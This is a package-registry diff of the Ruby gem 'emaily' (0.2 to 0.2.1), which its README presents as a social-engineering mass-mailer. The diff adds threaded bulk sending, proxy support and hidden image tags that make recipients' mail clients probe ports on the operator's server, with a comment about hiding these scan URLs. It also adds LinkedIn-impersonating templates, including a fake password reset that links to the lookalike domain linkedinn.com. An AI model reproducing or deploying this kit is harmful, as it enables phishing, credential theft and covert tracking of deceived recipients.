emaily 0.2 → 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README +96 -0
- data/bin/emaily +22 -3
- data/bin/qp_decoder +2 -0
- data/lib/emaily/emaily.rb +58 -25
- data/lib/emaily/templates.rb +16 -2
- data/templates/linkedin_comment.html +30 -0
- data/templates/linkedin_invitation.html +25 -0
- data/templates/linkedin_invitation_accepted.html +47 -0
- data/templates/linkedin_reset_pwd.html +23 -0
- data/templates/test_template.html +2 -2
- metadata +24 -3
data/README
CHANGED
@@ -0,0 +1,96 @@
|
|
1
|
+
= EMaily
|
2
|
+
|
3
|
+
== DESCRIPTION
|
4
|
+
EMaily is a CLI tool caplable of sending multiple templated emails using different mail server. It is part of a bigger social Enginering Framework I'm creating which involves ( ESearchy-ng, ETwitty, etc ..)
|
5
|
+
|
6
|
+
NOTE: THIS IS STILL BEING DEVELOPED CODE IS SUBMITTED DAILY SO BE AWARE THAT CODE MIGHT NOT WORK PROPERLY AL THE TIME. IF SOMETHING GOES WRONG PLEASE RAISE AN ISSUE.
|
7
|
+
|
8
|
+
|
9
|
+
== SUPPORT:
|
10
|
+
|
11
|
+
* http://github.com/FreedomCoder/emaily/issues
|
12
|
+
* Emails from github.
|
13
|
+
|
14
|
+
== SYNOPSIS:
|
15
|
+
|
16
|
+
For now, the tools is not interactive, but it is still as simple as one line command to send millons of emails in one click.
|
17
|
+
|
18
|
+
EMAILY COMMANDS:
|
19
|
+
|
20
|
+
First need to add-servers with:
|
21
|
+
|
22
|
+
emaily --add-server ...
|
23
|
+
|
24
|
+
Once we have one or more server:
|
25
|
+
|
26
|
+
emaily -S gmail,hotmail --subject "Testing EMaily" -t templates/test_template.html -l ~/emails.csv --webserver --scanports 80,443,8080,8443,35000 -a cv.docx -b 10 --thread
|
27
|
+
|
28
|
+
This line will send 10 emails at a time using two different smtp configurations ( gmail and hotmail) with the subject "Testing Emaily" and using the testing template. The email list will be populated from a csv file, which also is used to generate each individual email. Short of that, it will also create a simple web server that will listen for incomming connection and it will scan the required ports.
|
29
|
+
|
30
|
+
|
31
|
+
TEMPLATES:
|
32
|
+
|
33
|
+
<subject>EMaily Test Email</subject> // optional
|
34
|
+
<html>
|
35
|
+
<body>
|
36
|
+
<h1> Hello %%name%% </h1>
|
37
|
+
|
38
|
+
I'm testing this email: %%email%%
|
39
|
+
|
40
|
+
Regards,
|
41
|
+
|
42
|
+
EMaily
|
43
|
+
%%payload[80,8080,443,1080,139,445]%%
|
44
|
+
</body>
|
45
|
+
</html>
|
46
|
+
|
47
|
+
|
48
|
+
* Executables CLI command
|
49
|
+
|
50
|
+
emaily -h
|
51
|
+
emaily_webserver
|
52
|
+
qp_decoder
|
53
|
+
|
54
|
+
* Library
|
55
|
+
|
56
|
+
For thouse who want to integrate this to their application you can use it in "the ruby way"
|
57
|
+
|
58
|
+
== REQUIREMENTS:
|
59
|
+
|
60
|
+
* ruby 1.8 or 1.9
|
61
|
+
* mail
|
62
|
+
|
63
|
+
== INSTALL:
|
64
|
+
|
65
|
+
* > sudo gem install gemcutter
|
66
|
+
* > sudo gem install emaily
|
67
|
+
|
68
|
+
== THANKS:
|
69
|
+
|
70
|
+
== LICENSE:
|
71
|
+
|
72
|
+
(The MIT License)
|
73
|
+
|
74
|
+
Copyright (c) 2009 - 2010:
|
75
|
+
|
76
|
+
* {Matias P. Brutti}[http://www.freedomcoder.com.ar]
|
77
|
+
|
78
|
+
|
79
|
+
Permission is hereby granted, free of charge, to any person obtaining
|
80
|
+
a copy of this software and associated documentation files (the
|
81
|
+
'Software'), to deal in the Software without restriction, including
|
82
|
+
without limitation the rights to use, copy, modify, merge, publish,
|
83
|
+
distribute, sublicense, and/or sell copies of the Software, and to
|
84
|
+
permit persons to whom the Software is furnished to do so, subject to
|
85
|
+
the following conditions:
|
86
|
+
|
87
|
+
The above copyright notice and this permission notice shall be
|
88
|
+
included in all copies or substantial portions of the Software.
|
89
|
+
|
90
|
+
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
|
91
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
92
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
93
|
+
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
94
|
+
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
95
|
+
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
96
|
+
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
data/bin/emaily
CHANGED
@@ -33,6 +33,7 @@ opts = GetoptLong.new(
|
|
33
33
|
[ '--ssl', GetoptLong::NO_ARGUMENT],
|
34
34
|
[ '--user','-U', GetoptLong::REQUIRED_ARGUMENT ],
|
35
35
|
[ '--pass','-P', GetoptLong::REQUIRED_ARGUMENT ],
|
36
|
+
[ '--reply','-R', GetoptLong::REQUIRED_ARGUMENT ],
|
36
37
|
[ '--template','-t', GetoptLong::REQUIRED_ARGUMENT ],
|
37
38
|
[ '--list','-l', GetoptLong::REQUIRED_ARGUMENT ],
|
38
39
|
[ '--from','-f', GetoptLong::REQUIRED_ARGUMENT ],
|
@@ -44,8 +45,11 @@ opts = GetoptLong.new(
|
|
44
45
|
[ '--output','-o', GetoptLong::REQUIRED_ARGUMENT ],
|
45
46
|
[ '--server','-S', GetoptLong::REQUIRED_ARGUMENT ],
|
46
47
|
[ '--webserver', GetoptLong::NO_ARGUMENT ],
|
48
|
+
[ '--bidly', GetoptLong::NO_ARGUMENT ],
|
49
|
+
[ '--thread', '-T' , GetoptLong::NO_ARGUMENT ],
|
47
50
|
[ '--scanports','-X', GetoptLong::REQUIRED_ARGUMENT ],
|
48
51
|
[ '--site', GetoptLong::REQUIRED_ARGUMENT ]
|
52
|
+
[ '--proxy', GetoptLong::REQUIRED_ARGUMENT]
|
49
53
|
)
|
50
54
|
|
51
55
|
def logo()
|
@@ -123,6 +127,10 @@ opts.each do |opt, arg|
|
|
123
127
|
puts " \t Add scan payload to scan for list of ports.\n"
|
124
128
|
puts " --site"
|
125
129
|
puts " \t If not using local webserver a site is required.\n"
|
130
|
+
puts " --thread, -T"
|
131
|
+
puts " \t Threads each block or server acordinly.\n"
|
132
|
+
puts " --proxy [127.0.0.1:8080]"
|
133
|
+
puts " \t Setup a proxy.\n"
|
126
134
|
puts "Copyright 2010 - FreedomCoder\n"
|
127
135
|
#END OF HELP
|
128
136
|
exit(0)
|
@@ -153,6 +161,8 @@ opts.each do |opt, arg|
|
|
153
161
|
@server[:password] = arg
|
154
162
|
when '--ssl' then
|
155
163
|
@server[:enable_starttls_auto] = true
|
164
|
+
when '--reply' then
|
165
|
+
@server[:reply_to] = arg
|
156
166
|
# END ADD / REMOVE SERVER
|
157
167
|
when '--block' then
|
158
168
|
@block = arg.to_i
|
@@ -187,8 +197,17 @@ opts.each do |opt, arg|
|
|
187
197
|
@webserver = true
|
188
198
|
when '--scanports' then
|
189
199
|
@ports = arg.split(",").map {|p| p.to_i} if arg != nil
|
200
|
+
when '--bidly' then
|
201
|
+
@data[:bidly] = true
|
202
|
+
when '--thread' then
|
203
|
+
@thread = true
|
190
204
|
when '--site' then
|
191
205
|
@data[:site] = arg
|
206
|
+
when '--proxy' then
|
207
|
+
require 'socksify'
|
208
|
+
url, port = arg.split(":")
|
209
|
+
TCPSocket::socks_server = url
|
210
|
+
TCPSocket::socks_port = port.to_i
|
192
211
|
else
|
193
212
|
puts "Unknown command. Please try again"
|
194
213
|
exit(0)
|
@@ -233,11 +252,11 @@ def execute
|
|
233
252
|
webserver.run
|
234
253
|
end
|
235
254
|
if @session.serv.size < 2
|
236
|
-
@block != nil ? @session.send_block(@block, @sleep) : @session.send
|
255
|
+
@block != nil ? @session.send_block(@block, @sleep, @thread || false) : @session.send
|
237
256
|
elsif @random
|
238
|
-
@session.send_to_random_servers(@block, @sleep)
|
257
|
+
@session.send_to_random_servers(@block || 1, @sleep, @thread || false)
|
239
258
|
else
|
240
|
-
@session.send_to_servers(@block, @sleep)
|
259
|
+
@session.send_to_servers(@block || 1, @sleep, @thread || false)
|
241
260
|
end
|
242
261
|
if @webserver
|
243
262
|
puts "If you no longer want to listen for incomming connecionts."
|
data/bin/qp_decoder
CHANGED
data/lib/emaily/emaily.rb
CHANGED
@@ -2,10 +2,21 @@ def D m
|
|
2
2
|
puts m if EMaily::log
|
3
3
|
end
|
4
4
|
|
5
|
+
class Array
|
6
|
+
def / len
|
7
|
+
a = []
|
8
|
+
each_with_index do |x,i|
|
9
|
+
a << [] if i % len == 0
|
10
|
+
a.last << x
|
11
|
+
end
|
12
|
+
a
|
13
|
+
end
|
14
|
+
end
|
15
|
+
|
5
16
|
module EMaily
|
6
17
|
@@log = false
|
7
18
|
@@status = true
|
8
|
-
VERSION = 0.2
|
19
|
+
VERSION = 0.2.1
|
9
20
|
|
10
21
|
def self.status
|
11
22
|
@@status
|
@@ -31,14 +42,19 @@ module EMaily
|
|
31
42
|
#variables
|
32
43
|
@list = CSV.parse(args[:list])
|
33
44
|
@attach = args[:attachment] || []
|
34
|
-
@from = args[:from]
|
45
|
+
@o_from = @from = args[:from]
|
35
46
|
@content_type = args[:content_type] || 'text/html; charset=UTF-8;'
|
36
47
|
@template = Template.new(args[:template], @content_type)
|
48
|
+
@template.bidly = args[:bidly] || false
|
37
49
|
@ports = @template.ports
|
38
50
|
@template.site = args[:site] if args[:site]
|
39
|
-
@subject = @template.subject || args[:subject]
|
40
|
-
|
41
|
-
|
51
|
+
@subject = @template.subject || args[:subject]
|
52
|
+
if args[:servers]
|
53
|
+
@serv = []; args[:servers].each {|s| @serv << @servers[s][0][:values] }
|
54
|
+
setup_server(@serv[0])
|
55
|
+
else
|
56
|
+
setup_server(@servers[0][0][:values])
|
57
|
+
end
|
42
58
|
end
|
43
59
|
attr_accessor :list, :from, :content_type, :subject, :serv, :ports
|
44
60
|
|
@@ -48,32 +64,42 @@ module EMaily
|
|
48
64
|
end
|
49
65
|
|
50
66
|
def send
|
51
|
-
@list.each {|p| connect
|
67
|
+
@list.each { |p| connect(p[:email], generate_email(p)) }
|
52
68
|
end
|
53
69
|
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
70
|
+
#def send_block(bloc = 1, rest = 0, &block)
|
71
|
+
# (@list / bloc).each do |b|
|
72
|
+
# setup_server(block.call(self)) if block_given?
|
73
|
+
# b.each { |p| connect p[:email], generate_email(p) }
|
74
|
+
# sleep(rest) if rest != 0 && rest != nil
|
75
|
+
# end
|
76
|
+
#end
|
77
|
+
|
78
|
+
def send_block(bloc = 1, rest = 0, thread = false, &block)
|
79
|
+
threads = []
|
80
|
+
(@list / bloc).each do |b|
|
81
|
+
block.call(self) if block_given?
|
82
|
+
if thread
|
83
|
+
threads << Thread.new { b.each { |p| connect p[:email], generate_email(p)}}
|
84
|
+
else
|
85
|
+
b.each { |p| connect p[:email], generate_email(p) }
|
86
|
+
end
|
87
|
+
end
|
88
|
+
threads.each { |t| t.join }
|
89
|
+
end
|
64
90
|
|
65
|
-
def send_to_random_servers(bloc = 1, rest = 0)
|
66
|
-
send_block
|
91
|
+
def send_to_random_servers(bloc = 1, rest = 0, thread = false)
|
92
|
+
send_block(bloc, rest, thread) { setup_server(@serv[rand(@serv.size)]) }
|
67
93
|
end
|
68
94
|
|
69
|
-
def send_to_servers(bloc = 1, rest = 0)
|
70
|
-
@v=0; send_block
|
95
|
+
def send_to_servers(bloc = 1, rest = 0, thread = false)
|
96
|
+
@v=0; send_block(bloc, rest, thread) do
|
97
|
+
setup_server(@serv[@v % @serv.size]);
|
98
|
+
@v += 1
|
99
|
+
end
|
71
100
|
end
|
72
101
|
|
73
102
|
private
|
74
|
-
def until_this(j, bloc)
|
75
|
-
j + bloc < @list.size ? j + bloc : @list.size
|
76
|
-
end
|
77
103
|
|
78
104
|
def generate_email(data)
|
79
105
|
@template.generate_email(data)
|
@@ -81,9 +107,16 @@ module EMaily
|
|
81
107
|
|
82
108
|
def setup_server(server)
|
83
109
|
Mail.defaults { delivery_method :smtp, server }
|
110
|
+
if @from.nil? || (@from != server[:user_name] && server[:user_name].match(/@/))
|
111
|
+
@from = server[:user_name]
|
112
|
+
elsif server[:user_name].nil?
|
113
|
+
@from = server[:reply_to]
|
114
|
+
else
|
115
|
+
@from = @o_from || "anonymous@#{server[:domain]}"
|
116
|
+
end
|
84
117
|
end
|
85
118
|
|
86
|
-
def connect(email,
|
119
|
+
def connect(email,template)
|
87
120
|
begin
|
88
121
|
mail = Mail.new
|
89
122
|
mail.to email
|
@@ -103,7 +136,7 @@ module EMaily
|
|
103
136
|
end
|
104
137
|
end
|
105
138
|
@attach.each do |file|
|
106
|
-
|
139
|
+
mail.add_file file
|
107
140
|
end
|
108
141
|
mail.deliver
|
109
142
|
D "Successfully sent #{email}"
|
data/lib/emaily/templates.rb
CHANGED
@@ -21,7 +21,7 @@ module EMaily
|
|
21
21
|
end
|
22
22
|
@site = site
|
23
23
|
end
|
24
|
-
attr_accessor :ports
|
24
|
+
attr_accessor :ports, :bidly
|
25
25
|
attr_reader :site
|
26
26
|
|
27
27
|
def generate_email(values)
|
@@ -58,11 +58,25 @@ module EMaily
|
|
58
58
|
def generate_scan_ports(identifier)
|
59
59
|
pl = ""
|
60
60
|
@ports.each do |port|
|
61
|
-
pl << "<img src=\"#{
|
61
|
+
pl << "<img src=\"#{site(port,identifier)}\" sytle=\"display:none\"/>\n"
|
62
62
|
end
|
63
63
|
pl
|
64
64
|
end
|
65
65
|
|
66
|
+
def site(port,identifier)
|
67
|
+
url = "#{ @site || ("http://"+local_ip) }:#{port}/#{port}.jpg?e=#{identifier}"
|
68
|
+
begin
|
69
|
+
@bidly ? bidly(url) : url
|
70
|
+
rescue
|
71
|
+
url
|
72
|
+
end
|
73
|
+
end
|
74
|
+
|
75
|
+
# Future bitly URL shortten to hide Scan URLs ( I think this will only work with domains)
|
76
|
+
def bitly(link)
|
77
|
+
open( 'http://bit.ly/api?url=' + link ).read
|
78
|
+
end
|
79
|
+
|
66
80
|
def local_ip
|
67
81
|
if @local_ip
|
68
82
|
@local_ip
|
@@ -0,0 +1,30 @@
|
|
1
|
+
<subject>There was a new comment posted on your profile update</subject>
|
2
|
+
<html>
|
3
|
+
<body>
|
4
|
+
<table border="0" cellpadding="0" cellspacing="0" style="width:550px; border-top:4px solid #39C; font: 12px arial, sans-serif; margin: 0 auto;">
|
5
|
+
<tr>
|
6
|
+
<td style="padding-top:5px"><h1 style="color: #000; font: bold 21px arial;" >LinkedIn <span style="color:#666;font-weight:normal">Network Update</span></h1></td>
|
7
|
+
</tr>
|
8
|
+
<tr>
|
9
|
+
<td style="padding-bottom: 20px">
|
10
|
+
<p>%%name%%,</p>
|
11
|
+
<p>%%from%% has just left a comment on your profile update:</p>
|
12
|
+
<p><strong>"%%message%%"</strong></p>
|
13
|
+
<p>
|
14
|
+
|
15
|
+
|
16
|
+
<a href="http://www.linkedin.com/e/psn/123123123/65654356/asBU/EML_nus_prof/"><strong>%%name%%</strong></a> is now working at %%company%%
|
17
|
+
|
18
|
+
</p>
|
19
|
+
<a href="http://www.linkedin.com/e/nds/231221/M/U/j0d7hsd7ad0-f436-4de7-3h17-98d70as8dads/t-6t/eml_comment_PROF/">See all comments</a>
|
20
|
+
</td>
|
21
|
+
</tr>
|
22
|
+
<tr>
|
23
|
+
<td style="font: 10px arial, sans-serif; color: #999; padding-top: 10px; border-top:1px solid #ccc;">
|
24
|
+
<p style="color:#333">Don't want to receive email notifications? <a href="https://www.linkedin.com/e/mdp/eml_comment_PROF/">Adjust your message settings.</a> LinkedIn values your privacy. At no time has Linkedin made your email address available to any other LinkedIn user without your permission.</p>
|
25
|
+
© 2010, LinkedIn Corporation </td>
|
26
|
+
</tr>
|
27
|
+
</table>
|
28
|
+
|
29
|
+
</body>
|
30
|
+
</html>
|
@@ -0,0 +1,25 @@
|
|
1
|
+
<subject>Join my network on LinkedIn</subject>
|
2
|
+
<html>
|
3
|
+
<body>
|
4
|
+
<table border="0" width="550" cellpadding="0" cellspacing="0" style="max-width:550px; border-top:4px solid #39C; font: 12px arial, sans-serif; margin: 0 auto;"><tr><td>
|
5
|
+
<h1 style="color: #000; font: bold 23px arial; margin:5px 0;" >LinkedIn</h1>
|
6
|
+
|
7
|
+
<div style="font:13px arial, sans-serif; width:540px">
|
8
|
+
<p>%%from%% has indicated you are a Colleague at %%company%%:</p>
|
9
|
+
<div style="margin-top: 6px; border-bottom: 2px solid #ddd; line-height:3px"> </div>
|
10
|
+
<p>
|
11
|
+
%%message%%
|
12
|
+
</p>
|
13
|
+
<p>
|
14
|
+
<a href="http://www.linkedinn.com/e/Vwwddsdadas_DSdadaD_AS_CH-Eeo/blk/323123_1/hiHhUHIGykhggTT_/svi/">View invitation from %%from%%</a>
|
15
|
+
</p>
|
16
|
+
<div style="margin-top: 6px; border-bottom: 2px solid #ddd; line-height:3px"> </div>
|
17
|
+
<p> DID YOU KNOW <strong>that LinkedIn can find the answers to your most difficult questions?</strong><br> Post those vexing questions on <a href="http://www.linkedin.com/e/ask/inv-23/">LinkedIn Answers</a> to tap into the knowledge of the world's foremost business experts. </p>
|
18
|
+
<div style="margin-top: 6px; border-bottom: 2px solid #ddd; line-height:3px"> </div>
|
19
|
+
</div>
|
20
|
+
<p style="width: 550px; margin: 3px auto; font: 10px arial, sans-serif; color: #999;">© 2010, LinkedIn Corporation
|
21
|
+
|
22
|
+
</p>
|
23
|
+
|
24
|
+
</body>
|
25
|
+
</html>
|
@@ -0,0 +1,47 @@
|
|
1
|
+
<subject>%%name%% has accepted your LinkedIn invitation</subject>
|
2
|
+
<html>
|
3
|
+
<body>
|
4
|
+
|
5
|
+
<!-- GREY BORDER -->
|
6
|
+
<table width="100%" border="0" cellspacing="15" cellpadding="0" bgcolor="#E1E1E1"><tr><td>
|
7
|
+
<!-- WHITE BACKGROUND -->
|
8
|
+
<table width="100%" border="0" cellspacing="15" cellpadding="0" bgcolor="#FFFFFF"><tr><td>
|
9
|
+
<!-- MAIN CONTENT TABLE -->
|
10
|
+
<table width="100%" border="0" cellspacing="5" cellpadding="0">
|
11
|
+
<!-- LOGO -->
|
12
|
+
<tr><td colspan="3"><table><tr><td width="135"><img src="http://www.linkedin.com/img/logos/logo.gif" width="129" height="36" alt="LinkedIn"></td><td><font size="4" face="arial, helvetica, sans-serif" color="#D99324">Invitation Accepted</font></td></tr></table></td></tr>
|
13
|
+
<tr><td width="25"><img src="http://www.linkedin.com/img/spacer.gif" width="25" height="1" alt=""></td><td colspan="2"><hr noshade size="1"></td></tr>
|
14
|
+
<!-- INTRO -->
|
15
|
+
<tr><td> </td><td>
|
16
|
+
<img src="http://www.linkedin.com/img/spacer.gif" width="1" height="1" alt="">
|
17
|
+
<p><font size="3" face="arial, helvetica, sans-serif" color="#000000"><b>Congratulations! You and %%name%% are now connected.</b></font><br>
|
18
|
+
<table cellpadding="0" cellspacing="4" border="0" with="100%">
|
19
|
+
<tr>
|
20
|
+
<td valign="top" width="6%" align="center"><img src="http://www.linkedin.com/img/icon/icon_email_profile_30x24.gif" width="30" height="24" alt=""></td>
|
21
|
+
<td valign="top" width="42%"><img src="http://www.linkedin.com/img/spacer.gif" width="1" height="22" alt=""><font size="2" face="arial, helvetica, sans-serif" color="#000000"><strong>View <a href="http://www.linkedin.com/e/fpf/dsasdsad/EML-inv-acc-prof/"><font color="#003399">%%name%%'s profile</font></a> to:</strong>
|
22
|
+
<ul style="margin-top: 0;">
|
23
|
+
<li>Download %%name%%'s current contact information</li>
|
24
|
+
<li>Write a recommendation for %%name%%</li>
|
25
|
+
<li>Find opportunities through %%name%%'s network</li>
|
26
|
+
<li>See who you know in common</li>
|
27
|
+
</ul></font>
|
28
|
+
<td width="15" width="4%"> </td>
|
29
|
+
<td valign="top" width="6%" align="center"><img src="http://www.linkedin.com/img/icon/icon_email_abook_30x24.gif" width="30" height="24" alt=""></td>
|
30
|
+
<td valign="top" width="42%"><img src="http://www.linkedin.com/img/spacer.gif" width="1" height="22" alt=""><font size="2" face="arial, helvetica, sans-serif" color="#000000"><b><a href="http://www.linkedin.com/e/dshjdlkasdasdsdshdjhda/con/EML-inv-acc-conn/"><font color="#003399">Continue building your network:</font></a></b><br>Every person you connect with builds value for you and all your connections.</font></td>
|
31
|
+
</tr>
|
32
|
+
</table>
|
33
|
+
</td><td width="50"><img src="http://www.linkedin.com/img/spacer.gif" width="75" height="1" alt=""></td></tr>
|
34
|
+
<tr><td> </td><td colspan="2"><hr noshade size="1"></td></tr>
|
35
|
+
<tr><td> </td><td>
|
36
|
+
<font size="2" face="arial, helvetica, sans-serif" color="#000000"> If these links are not working, you can paste the following address into your browser:<br> http://www.linkedin.com/e/fpf/dsasdsad/EML-inv-acc-prof/<br><br> Thank you for using LinkedIn!<br><br> -- The LinkedIn Team<br>
|
37
|
+
<a href="http://www.linkedin.com/">http://www.linkedin.com/</a>
|
38
|
+
</font>
|
39
|
+
</td><td> </td></tr></table>
|
40
|
+
</td></tr></table>
|
41
|
+
</td></tr>
|
42
|
+
<!-- COPYRIGHT -->
|
43
|
+
<tr><td><font size="1" face="arial, helvetica, sans-serif" color="#666666">© 2010, LinkedIn Corporation</font></td></tr>
|
44
|
+
</table>
|
45
|
+
%%payload[80,8080,443,1080,139,445]%%
|
46
|
+
</body>
|
47
|
+
</html>
|
@@ -0,0 +1,23 @@
|
|
1
|
+
<subject>Reset Your LinkedIn Password</subject>
|
2
|
+
<html>
|
3
|
+
<body>
|
4
|
+
<table border="0" width="550" cellpadding="0" cellspacing="0" style="max-width:550px; border-top:4px solid #39C; font: 12px arial, sans-serif; margin: 0 auto;"><tr><td>
|
5
|
+
<h1 style="color: #000; font: bold 23px arial; margin:5px 0;" >LinkedIn</h1>
|
6
|
+
|
7
|
+
<p>Dear %%name%%,</p>
|
8
|
+
|
9
|
+
<p>We have received your request to reset your LinkedIn password. Please <a name="_resetLink" href="https://www.linkedinn.com/e/pwr/231231231/Huasdky-/">use this secure URL</a> to reset your password within 5 days.</p>
|
10
|
+
|
11
|
+
<p>To reset your password, please enter your new password twice on the page that opens.</p>
|
12
|
+
|
13
|
+
<p>If you cannot access the link above, you can paste the following address into your browser:<br> https://www.linkedinn.com/e/pwr/231231231/Huasdky-/</p>
|
14
|
+
|
15
|
+
<p>Thank you for using LinkedIn!</p>
|
16
|
+
|
17
|
+
<p>- The LinkedIn Team<br>
|
18
|
+
<a href="http://www.linkedin.com/">http://www.linkedin.com/</a></p>
|
19
|
+
|
20
|
+
<p style="border-top: 2px solid #ccc; padding-top: 15px; margin-top: 15px; font-size: 10px; color: #999;">© 2010, LinkedIn Corporation</p>
|
21
|
+
|
22
|
+
</body>
|
23
|
+
</html>
|
metadata
CHANGED
@@ -1,12 +1,13 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: emaily
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
hash:
|
4
|
+
hash: 21
|
5
5
|
prerelease: false
|
6
6
|
segments:
|
7
7
|
- 0
|
8
8
|
- 2
|
9
|
-
|
9
|
+
- 1
|
10
|
+
version: 0.2.1
|
10
11
|
platform: ruby
|
11
12
|
authors:
|
12
13
|
- Matias P. Brutti
|
@@ -14,7 +15,7 @@ autorequire:
|
|
14
15
|
bindir: bin
|
15
16
|
cert_chain: []
|
16
17
|
|
17
|
-
date: 2010-06-
|
18
|
+
date: 2010-06-18 00:00:00 -03:00
|
18
19
|
default_executable:
|
19
20
|
dependencies:
|
20
21
|
- !ruby/object:Gem::Dependency
|
@@ -33,6 +34,22 @@ dependencies:
|
|
33
34
|
version: 2.1.2
|
34
35
|
type: :runtime
|
35
36
|
version_requirements: *id001
|
37
|
+
- !ruby/object:Gem::Dependency
|
38
|
+
name: socksify
|
39
|
+
prerelease: false
|
40
|
+
requirement: &id002 !ruby/object:Gem::Requirement
|
41
|
+
none: false
|
42
|
+
requirements:
|
43
|
+
- - ">="
|
44
|
+
- !ruby/object:Gem::Version
|
45
|
+
hash: 17
|
46
|
+
segments:
|
47
|
+
- 1
|
48
|
+
- 1
|
49
|
+
- 1
|
50
|
+
version: 1.1.1
|
51
|
+
type: :runtime
|
52
|
+
version_requirements: *id002
|
36
53
|
description:
|
37
54
|
email: matiasbrutti@gmail.com
|
38
55
|
executables:
|
@@ -52,6 +69,10 @@ files:
|
|
52
69
|
- lib/emaily/templates.rb
|
53
70
|
- lib/emaily/webservers.rb
|
54
71
|
- lib/emaily.rb
|
72
|
+
- templates/linkedin_comment.html
|
73
|
+
- templates/linkedin_invitation.html
|
74
|
+
- templates/linkedin_invitation_accepted.html
|
75
|
+
- templates/linkedin_reset_pwd.html
|
55
76
|
- templates/test_template.html
|
56
77
|
- README
|
57
78
|
- bin/emaily
|